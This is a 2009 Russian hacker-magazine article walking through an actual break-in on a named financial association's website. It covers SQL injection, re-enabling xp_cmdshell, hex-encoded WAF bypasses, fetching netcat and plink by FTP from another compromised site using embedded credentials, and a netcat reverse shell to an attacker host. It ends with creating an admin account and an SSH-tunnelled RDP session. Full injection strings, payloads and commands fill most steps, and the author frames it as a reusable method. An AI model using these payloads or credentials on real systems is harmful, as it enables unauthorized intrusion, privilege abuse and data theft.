Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 129, СЕНТЯБРЬ 2009 г.

Классика проникновения за 8 шагов. Терминальный доступ через SQL-инъекцию и xp_cmdshell

m0r0 (m0r0@inbox.ru)

В предыдущей статье было продемонстрировано, как тривиальная инъекция может привести к гибели сервера, а точнее, к получению контроля над ним злоумышленником. Тогда мне в значительной степени повезло, так как доступ к БД через скуль открывал завесу к паролям от FTP. Классика создания сиквела требует сохранить атмосферу и развить сюжет. Поэтому теперь мы научимся работать с xp_cmdshell и преодолевать сопротивление WAF. И все во имя той же цели - заполучить админский доступ к серверу по RDP.

Причины кризиса

В первой части я препарировал сайт ism.ws, который сложно отнести к когорте особо интересных. Чтобы у тебя не сложилось впечатления, что все описываемое - полная лажа и применимо только на мелких и заброшенных ресурсах, в качестве цели я выбрал более достойного кандидата. Поверь мне, инъекции и прочие уязвимости есть на ресурсах разного масштаба, включая и очень раскрученные бренды. Надо только уметь их найти и использовать.

Итак, знакомимся: герой дня - сайт «National association of federal credit union», или NAFCU, расположенный по адресу www.nafcunet.org (www.nafcu.org) и просто напрашивающийся на детальный анализ. Сайтец сделан довольно прилично, можно даже сказать, радует глаз. Глядя на такие ресурсы, невольно думаешь, что и с безопасностью здесь все в порядке, но реалии упорно твердят об обратном. Перед тем как воспользоваться Гуглом, я решил проявить самостоятельность и провести собственное расследование.

Расширения скриптов наводили на мысль, что в качестве движка выступает ColdFusion (после опыта прошлого вторжения это радует). Буквально на третьей же ссылке при подстановке кавычки я увидел ошибку на преобразование типов данных, а уже четвертая исследованная ссылка открыла во всей красе эксплойтабельную инъекцию с выводом ошибок и результатов запросов.

Безалаберность и халатность, с которой ведется проектирование и разработка интернет-ресурсов многих финансовых организаций, заставляет задуматься о качестве их работы в целом. Предлагаю всю вину за финансовый кризис возложить на непрофессионализм американских буржуев и перейти к показательной карательной операции на примере NAFCU.

Шаг 1. Разведка местности

По адресу nafcu.org/Template.cfm?Section=What_is_an_FCU_&Template=/ContentManagement/HTMLDisplay.cfm&ContentID=3842 мы имеем классическую инъекцию SQL-запросов. При подстановке кавычки получим невероятно информативный вывод ошибки ColdFusion, в который транслируется ошибка SQL - [Microsoft][ODBC SQL Server Driver][SQL Server]Line 4: Incorrect syntax near. Очевидно, что дело придется иметь с SQL-сервером от мелкомягких.

Разведку начнем проводить в направлении определения параметров БД и самого сервера. Для этого прощупаем скрипт запросом вида

nafcu.org/Template.cfm?Section=What_is_an_FCU_&Template=
/ContentManagement/HTMLDisplay.cfm&ContentID=38427+and+1=
0+or+1=(select+char(108)%2bcast(0x746869736973736570617261746F72+
as+varchar(200))%2bcast(replace(@@version,char(10),char(32))+as+varchar(200))%
2bcast(0x746869736973736570617261746F72+as+varchar(200))%2bcast(db_name()+
as+varchar(200))%2bcast(0x746869736973736570617261746F72+as+varchar(200))%
2bcast(system_user+as+varchar(200))%2bcast(0x746869736973736570617261746F72+
as+varchar(200))%2bcast(@@servername+as+varchar(200))%
2bcast(0x746869736973736570617261746F72+as+varchar(200))%2bchar(108))--.

Все сложилось на редкость удачно - сработала ошибка на преобразование типов, и в результате получена идентификационная информация:

  • сервер - Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4);
  • пользователь - sa.

Пользователь sa! Ну, ни фига себе. В одном из изи-хаков я писал о процедуре xp_cmdshell (вернее, о способе ее активации в SQL Server 2005), которая предоставляет возможность работы с ОС от имени учетки SQL-сервера (в большинстве случаев - system). Там же я писал, что приложения, работающие от sa, не так уж и редки. Не поверил тогда - убедись сейчас :).

После того, как было получено имя учетки, все мое внимание сосредоточилось вокруг процедуры xp_cmdshell.

Шаг 2. Подготовительные действия

Возвращаясь к изи-хаку, напомню, что процедура xp_cmdshell в 2005 сервере по умолчанию отключена, но ее можно включить, имея привилегии sysadmin. Для этого нужно лишь воспользоваться процедурой sp_configure. Мы же работаем с сервером 2000, в котором этого функционала нет. Однако xp_cmdshell может быть отключена администратором с помощью процедуры sp_dropextendedproc. Но раз она может быть отключена, значит, мы можем ее и включить. Разницы никакой нет - разрабы накосячили в 2000, накосячили и потом!
Честно скажу, вначале я не думал, что процедура недоступна. Я долго и упорно составлял разные зловещие запросы, пока не додумался ее включить. Для этого необходимо применить процедуру sp_addextendedproc и дополнительно знать название библиотеки, которая эту самую xp_cmdshell реализует. Ты знаешь? Я да: xplog70.dll. Дабы не захламлять любимый журнал, далее в примерах запросов я буду опускать путь до уязвимого параметра.

Сперва я попробовал в лоб:

; exec master..sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'--.

Результат запроса поставил меня в тупик, так как, собственно, никакого результата и не было. Не было вообще ничего, сервер просто сбросил соединение. «Вот те раз», - подумал я. «Вот тебе и два», - ответил сервер при попытке обновить страницу. Видимо, был задействован фаер на уровне приложений, который не пропускал строку xp_cmdshell в запросе. Запрос был тривиальный, так что достаточно было просто представить строки в шестнадцатеричной кодировке:

; exec master..sp_addextendedproc0x78705f636d647368656c6c,0x78706c6f6737302e646c6c--.

Появилась страничка без всяких ошибок. Это еще ни о чем не говорило, так что я решил продублировать запрос и дико обрадовался: сервер выплюнул ошибку, что объект уже зарегистрирован. Обрати внимание: при вызове sp_addextendedproc я использовал контекст БД master. То же самое я буду делать и при вызове xp_cmdshell. Советую поступать также, в противном случае - пеняй на себя.

Шаг 3. Обеспечиваем контроль местности

Зачетная вещь – xp_cmdshell, но работать с ней достаточно сложно, что и отпугивает новичков. В результате, они опускаются до банальных вещей, так и не добиваясь серьезных результатов. Сложность в том, что, инъектируя команду ОС, ты не увидишь никакого результата. Фактически, приходится работать вслепую. Нет никакого вывода команды, и ты даже не поймешь, выполнилась ли она вообще, и не ошибся ли ты в синтаксисе. Но это на поверхности. А если подумать и вкурить в MSDN, можно увидеть, что execute прекрасно уживается с insert и результат выполнения можно занести в таблицу. Прочитать же данные из таблицы, имея принтабельную инъекцию, думаю, труда не составит.

Таким образом, для обеспечения вывода результата будем использовать конструкции вида:

insert into foo execute xp_cmdshell '<os_command>',

Где foo - таблица с единственным столбцом типа varchar. Такую таблицу надо создать с помощью команды:

; create table foo(ret varchar(200))--.

Для контроля выполнения команд необходимо получать данные из таблицы foo. В примитивном варианте достаточно смотреть, не изменилось ли количество записей, для чего я держал в лисе отдельную вкладку с заряженной инъекцией:

and+1=0+or+1=(select+char(108)%2bcast(0x746869736973736570617261746F72+
as+varchar(200))%2bcast(count(*)+as+varchar(200))%2bcast(0x746869736973736570617261746F72+
as+varchar(200))%2bchar(108)+from+foo)--.

Шаг 4. Обеспечиваем скрытность

Весело открыв очередную банку кефира, я инъектировал код:

; insert into foo execute master..xp_cmdshell 'ipconfig'--

– и обломался. Все правильно, я забыл про WAF, который нужно как-то обойти. Я попытался заменить все строки на их шестнадцатеричные представления, но из этой затеи ничего не получилось. Не получилось, потому что строка master..xp_cmdshell здесь выступала не в качестве параметра, а в качестве названия функции. «Вот тебе и три», - отвечал WAF на все мои извращенные попытки.
Я полез в документацию и вскоре увидел, что execute может принимать название функции в виде строки типа nvarchar. При подстановке же шестнадцатеричного значения я передавал varchar.

Сервер, тихо посмеиваясь, с честным видом выдавал страницы без всякого намека на ошибки. Для реализации задуманного следовало конвертить строку master..xp_cmdshell в nvarchar перед передачей ее на исполнение. После недолгих мыканий родился следующий шаблон:

; declare @v as varchar(2048) declare @n as nvarchar(2048) set @v =
0x6d61737465722e2e78705f636d647368656c6c set @n = cast(@v as nvarchar) s
et @v = <command_in_hex> insert into foo execute @n @v--,

где 0x6d61737465722e2e78705f636d647368656c6c - закодированное значение master..xp_cmdshell.

Проверим на примере того же ipconfig:

; declare @v as varchar(2048) declare @n as nvarchar(2048) set @v = 0x6d61737465722e2e78705f636d647368656c6c set @n = cast(@v as nvarchar) set @v = 0x6970636f6e666967 insert into foo execute @n @v--.

Смотрим, сколько записей в foo; 10 - то, что надо.

Шаг 5. Составляем план действий

Итак, я получил способ выполнения команд в обход WAF. Теперь нужно было покреативить и составить план дальнейших действий.
Результаты сканирования показали, что пробиться к серверу напрямую по RDP не удастся. Наученный опытом прошлой схватки я набросал алгоритм:

  • каким-то образом закинуть на сервак netcat и plink (естественно, волшебной версии)
  • поднять на дедике nc в режиме прослушивания
  • запустить на серваке nc в режиме коннекта и проброса командной строки
  • создать и добавить нужного пользователя в нужную группу
  • поднять на дедике SSH-сервер
  • осуществить реверс-коннект на дедик с правильным маппингом портов
  • на дедике подключиться по RDP к localhost:3390 и получить доступ к удаленному рабочему столу
  • ввести логин и пароль нужного пользователя
  • отключиться от сервера и написать статью в ][

Шаг 6. Внедрение агента

Первым делом следовало залить нужные файлы на сервер. В прошлый раз был доступ к ftp, но здесь такого счастья мне не привалило. Пришлось задуматься над использованием стандартных средств ОС, доступных из командной строки и позволяющих скачивать файлы по сети. Немного подумай… - ну, конечно, это ftp.exe. Продолжая тему сиквела, в качестве ftp-сервера я цинично использовал ism.ws:.
Так как интерактивной сессии не было, следовало составить скрипт с командами и скормить его клиенту. Синтаксис скрипта для ftp-клиента очень прост - в каждой строчке по отдельной команде.

Для начала я набросал команды по созданию скриптов. Выполнять каждую по отдельности не хотелось, и я использовал режим последовательного выполнения команд cmd.exe с использованием амперсандов. Так, для скачивания nc.exe нужно было выполнить:

mkdir %TEMP%test && echo open ftp2.rd.net 21 >> %TEMP%testtest.txt &&
echo USER ism.ws.prod.code jaWlUXkaZNNWFuzFb >>
%TEMP%testtest.txt && echo binary >> %TEMP%testtest.txt &&
echo get toolsnc.exe %TEMP%testnc.exe >> %TEMP%testtest.txt &&
echo quit >> %TEMP%testtest.txt && ftp.exe -i -n -v -s:%TEMP%testtest.txt.

По выполнении этой команды в директории %TEMP%test должен появиться файл nc.exe. После кодирования и подстановки в шаблон был инъектирован код:

; declare @v as varchar(2048) declare @n as nvarchar(2048) set @v =
0x6d61737465722e2e78705f636d647368656c6c set @n = cast(@v as nvarchar) set @v =
0x6d6b646972202554454d50255c5c74657374202626206563686f206f70656e2066
7470322e72642e6e6574203231203e3e202554454d50255c5c746573745c5c74657
3742e747874202626206563686f20555345522069736d2e77732e70726f642e636f6
465206a61576c55586b615a4e4e5746757a4662203e3e202554454d50255c5c7465
73745c5c746573742e747874202626206563686f2062696e617279203e3e2025544
54d50255c5c746573745c5c746573742e747874202626206563686f2067657420746
f6f6c735c5c6e632e657865202554454d50255c5c746573745c5c6e632e657865203e
3e202554454d50255c5c746573745c5c746573742e747874202626206563686f2071
756974203e3e202554454d50255c5c746573745c5c746573742e7478742026262066
74702e657865202d69202d6e202d76202d733a2554454d50255c5c746573745c5c74
6573742e747874 insert into foo execute @n @v--.

Для проверки выполняем команду dir %temp%test:

; declare @v as varchar(2048) declare @n as nvarchar(2048) set @v =
0x6d61737465722e2e78705f636d647368656c6c set @n =
cast(@v as nvarchar) set @v = 0x6970636f6e666967 insert into foo execute @n @v--.

Все ОК, nc.exe на месте. Точно так же заливаем plink.exe (можно было и в один скрипт засунуть), только директорию создавать уже не надо.

Шаг 7. Закрепление

Далее нужно было запустить такие милые глазу команды, как net user и net localgroup. Можно все делать через инъекцию, но при наличии netcat это уже не имеет смысла. Поэтому на дедике я запустил nc.exe в режиме прослушивания порта 1234:

nc.exe -l -p 1234.

Для реверс коннекта к деду и проброса шелла следовало выполнить команду:

%temp%testnc.exe m0r0.ded.com 1234 -e cmd

– со стороны сервака. После кодирования имеем следующий инъект:

; declare @v as varchar(2048) declare @n as nvarchar(2048) set @v =
0x6d61737465722e2e78705f636d647368656c6c set @n = cast(@v
as nvarchar) set @v = 0x2574656d70255c5c746573745c5c6e632e6
57865206d3072302e6465642e636f6d2031323334202d6520636d64
insert into foo execute @n @v-

Все прошло как нельзя гладко, и в консоли деда я увидел шелл подопытного сервера. Воспользовавшись консолью, я активировал юзера support_388945a0 и добавил его в группу администраторов:

net user support_388945a0 /active:yes m0r0pass
net localgroup administrators support_388945a0 /add.

Шаг 8. Атака

Глотнув еще кефира, я запустил на деде SSH-сервер. На автомате в консоли появилась команда для подключения по SSH. Классика проникновения:

%temp%testplink.exe -nc m0r0.ded.com:22 -batch -pw <pass>-R 3390:127.0.0.1:3389 -L 3390:127.0.0.1:3390 -l <username> -auto_store_key_in_cache m0r0.ded.com

Сервак в наших руках, можно подключаться на 127.0.0.1:3990. После ввода логина и пароля я оказался на территории врага. СУБД работала в режиме Windows Authentication, так что получить доступ ко всем БД и слить дампы не составляло труда. Развитие успеха я оставлю за кадром, предлагая включить фантазию.

Тяжело в учении

Окучивая NAFCU, я столкнулся со многими, казалось, непреодолимыми трудностями. Это и активация xp_cmdshell, и обход WAF, и заливка файлов, и, конечно, уже классический обход файра с помощью реверс-коннекта по SSH. Однако суть не в этом. Прелесть в том, что это не уникальный баг, а типовая ситуация, и все вышеописанное следует расценивать как методику. Имея в рукаве такие козыри, как инъекция и доступ с правами sa, ты можешь не бояться за исход партии, главное – умело ими воспользоваться. Все описанные действия были совершены под музыку Бетховена. Слушай классику и будь счастлив.

Поиск инъекций

Простейший способ определения уязвимых параметров заключается в подстановке кавычек в передаваемые значения. Собственно, таким образом и были обнаружены уязвимости NAFCU. Не стоит зацикливаться исключительно на кавычках. Во-первых, ошибки могут просто не выводиться. В этом случае при подстановке кавычки ты тупо ничего не увидишь. Во-вторых, кавычки могут экранироваться. Ошибки никакой не произойдет, а инъекция, тем не менее, может присутствовать. Так, например, при переполнении целочисленных параметров кавычки и вовсе не нужны.

Наконец, параметр может быть уязвим к слепым инъекциям. Подставлять кавычку здесь – это как ядерной боеголовкой по муравейнику. Поэтому помимо кавычек я повсеместно использую конструкции «and 1=1--» и «and 1=0--», добавляя их к основному значению параметра в различных вариациях. Стопроцентной гарантии нет, но в большинстве случаев при наличии инъекции сервер будет возвращать разные результаты. Главное убедиться, что основное значение параметра обеспечивает возврат каких-нибудь данных. Отличие в результатах ты можешь увидеть на глаз. Но можешь и не увидеть, если оно незначительно или не выводится браузером. В любом случае стоит заглядывать в HTM-коды страниц и сравнивать их между собой. Вручную делать это крайне неэффективно, поэтому советую задуматься о разработке средств автоматизации.

Заливка по FTP

Получив возможность исполнять команды операционной системы и запускать собственные бинарники, следует позаботиться о способе заливки файлов на целевую систему. В *nix-средах проблема решается просто, так как в большинстве из них по умолчанию доступен wget, а если и нет, то проблемы не составит его доустановить. В винде wget'а нет, а для установки софта нужно сначала залить дистрибутив. Извечная проблема курицы и яйца.

К счастью, в штатной поставке есть FTP-клиент, позволяющий работать с внешними скриптами. Для скачки файлов нужно наполнить текстовый файл FTP-командами и скормить его клиенту:

ftp.exe -i -n -v -s:<script_path>

При создании скрипта в большинстве случаев достаточно следующих FTP-команд:

  • open <server> <port> - устанавливает соединение с указанным FTP-сервером;
  • user <username> [password] - позволяет указать учетные данные для аутентификации;
  • binary - устанавливает двоичный режим передачи;
  • get <remote-file> [local-file] - копирует удаленный файл на локальную систему;
  • quit - закрывает FTP-сессию.

WWW

С уважением относись к документации. Большинство проблем, возникающих при проведении инъекций на SQL Server, решаются после обращения к MSDN: msdn.microsoft.com/en-us/library/ms187389.aspx.

Содержание
ttfb: 7.3928833007812 ms